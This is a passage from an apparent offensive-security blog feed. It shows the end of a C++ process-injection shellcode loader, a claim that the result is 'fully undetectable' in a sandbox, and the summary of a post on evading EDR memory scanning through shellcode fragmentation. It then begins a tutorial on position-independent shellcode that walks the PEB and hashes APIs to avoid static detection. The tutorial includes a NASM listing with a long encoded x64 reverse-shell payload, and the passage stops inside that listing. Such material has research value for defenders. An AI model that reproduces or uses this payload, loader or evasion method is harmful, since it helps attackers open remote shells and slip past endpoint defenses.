        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>

    <span class="c1">// Resume notepad (optional — MessageBox will appear)</span>
    <span class="n">ResumeThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Execution complete. MessageBox should appear.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Bringing everything together, here’s how this looks during execution 😸</p>

<blockquote>
  <p><strong>Chunky Shellcode Execution Demo</strong></p>
</blockquote>

<iframe width="560" height="315" src="https://www.youtube.com/embed/8KE4hZMRBzw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<hr />

<blockquote>
  <p><strong>Full Source Code for Today’s Blog Post (Python + C++ code)</strong></p>
</blockquote>

<p><a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-12-23-Evading%20Signature%20Based%20Memory%20Detection%20-%20Shellcode%20Fragmentation%20and%20Staged%20Reassembly">Source Code</a></p>

<h2 id="-bonus-content-for-subscribers-shellcode-scrambler-using-module-stomping">🔒 Bonus Content for Subscribers (Shellcode scrambler using Module Stomping!)</h2>

<blockquote>
  <p>Description: This code is similar to the code in the blog post but introduces another element to help stay under the radar: Module Stomping 😸</p>
</blockquote>

<p>🗒️ <a href="https://ko-fi.com/s/0eec6f9eb3">Access Exclusive Code Here</a> 🗒️</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/e69e472a-e11d-441d-a755-b11f61a25fdc">Full Sandbox Analysis</a></p>

<p><strong>FUD worthy</strong> 😺</p>

<p><img width="1537" height="656" alt="image" src="https://github.com/user-attachments/assets/4239c031-dca1-4649-9b9a-5cef1a0b8338" /></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode fragmentation" /><category term="In-Memory Evasion" /><category term="Shellcode" /><category term="2025" /><category term="g3tsyst3m" /><category term="Evasion" /><category term="Fragmented Shellcode" /><category term="Shellcode fragmentation" /><category term="Staged shellcode" /><category term="in-memory evasion" /><category term="in-memory shellcode" /><category term="timed-attacks" /><summary type="html"><![CDATA[Hey everyone, and hope the holiday season is treating you well! 🎅🎄🎁 I’ve been sitting on this blog post for quite some time now and it’s high time I went ahead and make it public. This technique has been around for quite some time, but I feel it gets easily tossed into the attic, along with so many other techniques still viable in 2025 and beyond. Why? Because we all love novelty for one thing, and the latest and greatest offsec technique is always going to pique our interest. I get it, trust me. I love learning new things, I thrive on it. But I also like taking something old and re-inventing it so to speak. I got my start reinventing older code and techniques with UAC bypasses. There are so many that still work and remain undetected if you know how to tweak the code. In other words, why reinvent the wheel entirely when you can just reinvent some aspects to repurpose something that already works? EDR expects the novel techniques, but sometimes the tried and true techniques can be just as effective and quite unassuming, if you can adjust the heavily signatured nature of a given technique/payload artifact.]]></summary></entry><entry><title type="html">PIC Shellcode from the Ground up - Part 2</title><link href="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-2/" rel="alternate" type="text/html" title="PIC Shellcode from the Ground up - Part 2" /><published>2025-11-25T00:00:00+00:00</published><updated>2025-11-25T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode/pic/PIC%20Shellcode%20from%20the%20Ground%20up%20-%20Part%202</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-2/"><![CDATA[<p>Let’s <code class="language-plaintext highlighter-rouge">PIC</code> back up where we left off shall we? 😸 I gave you the framework for developing PIC friendly shellcode back in Part 1.  We went from the original code written in a high level language (C++), down to a pseudo low level representation of that C++ code.  I say pseudo low level because after our C++ code, we then used a combination of assembly and externs to locate the memory address of <code class="language-plaintext highlighter-rouge">HeapCreate</code> and <code class="language-plaintext highlighter-rouge">HeapAlloc</code>.  This is sort of like inputting a cheat code, since we don’t have to resort to walking the PE headers, specifically the PE export table, to locate our APIs.  However, this time around we will NOT be using externs.  We will be locating TEB/PEB, walking the familiar PE headers, and finding our APIs in question manually without help from externs.  We will also hash our APIs to make them easier to lookup and lower our static analysis footprint.  Let’s dive in!</p>

<h2 id="locating-ntdlldll">Locating NTDLL.DLL</h2>

<p>For this code exercise, we’re going to locate the base address for <code class="language-plaintext highlighter-rouge">NTDLL.DLL</code> instead of <code class="language-plaintext highlighter-rouge">KERNEL32.DLL</code></p>

<p>Why?  Because foolish me didn’t realize that <code class="language-plaintext highlighter-rouge">HeapAlloc</code> is just a stub in <code class="language-plaintext highlighter-rouge">Kernel32.dll</code> that is redirected/forwarded to <code class="language-plaintext highlighter-rouge">RtlAllocateHeap</code>, which is contained within the NTDLL library.  😆  So, all that we really needed to change was loading the NTDLL base address instead of the usual Kernel32 base address.  I’ll show you what that looks like now.  You’ll also see our shellcode at the start of the code too just FYI.  That hasn’t changed from the original assembly template we wrote back in <code class="language-plaintext highlighter-rouge">part 1</code>.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">; nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">; ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj</span>
<span class="c1">; externs: ld -m i386pep -N -LC:\mingw64\x86_64-w64-mingw32\lib asmsock.obj -o asmsock.exe -lkernel32</span>
<span class="c1">; https://github.com/brechtsanders/winlibs_mingw/releases/download/14.2.0posix-19.1.1-12.0.0-ucrt-r2/winlibs-x86_64-posix-seh-gcc-14.2.0-llvm-19.1.1-mingw-w64ucrt-12.0.0-r2.zip</span>

<span class="k">BITS</span> <span class="mi">64</span>

<span class="nf">section</span> <span class="nv">.shellstuff</span> <span class="nv">rdata</span> <span class="nv">read</span>
<span class="c1">; shellcode for an x64 reverse shell, port 9001 / Localhost (127.0.0.1)</span>
<span class="nl">encoded_shellcode:</span>
<span class="kd">db</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span>
<span class="no">encoded_shellcode_total</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>

<span class="nf">section</span> <span class="nv">.data</span> 
